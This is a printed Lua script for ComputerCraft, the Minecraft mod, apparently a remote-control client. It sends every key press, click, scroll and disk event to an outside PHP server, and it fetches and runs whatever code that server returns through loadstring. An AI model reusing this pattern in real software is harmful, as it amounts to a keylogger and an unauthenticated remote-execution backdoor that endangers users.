monwrite

print('local function pullClick()\n local event, button, x, y = os.pullEvent("mouse_click")\n local string = "b"..tostring(button).."x"..tostring(x).."y"..tostring(y).."|eventclick"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullKey()\n local event, code = os.pullEvent("key")\n local string = "k"..tostring(code).."|eventkey"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullScroll()\n local event, direction, x, y = os.pullEvent("mouse_scroll")\n local string = "d"..tostring(direction).."x"..tostring(x).."y"..tostring(y).."|eventscroll"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullDrag()\n local event,button,x,y = os.pullEvent("mouse_drag")\n local string = "b"..tostring(button).."x"..tostring(x).."y"..tostring(y).."|eventdrag"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullInsert()\n local event,side = os.pullEvent("disk")\n local string = "s"..side.."|eventdiskinsert"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullEject()\n local event,side = os.pullEvent("disk_eject")\n local string = "s"..side.."|eventdiskeject"\n local args = {["label"] = "luas", ["data"] = string}\n http.post("http://softberrykai.com/cc/objc.php","label=luas&data="..string)\nend\n\nlocal function pullResponse()\n local response = ""\n while response == "" or response == "Data Has Been Read" do\n  response = http.post("http://softberrykai.com/cc/objc.php","label=luar&data= ").readAll()\n end\n --print(response)\n loadstring(response)()\nend\nhttp.post("http://softberrykai.com/cc/objc.php","label=luar&data= ")\nhttp.post("http://softberrykai.com/cc/objc.php","label=luas&data=eventstartup")\n\nwhile true do\n pullResponse()\n parallel.waitForAny(pullClick,pullKey,pullScroll,pullDrag,pullInsert,pullEject)\nend\n')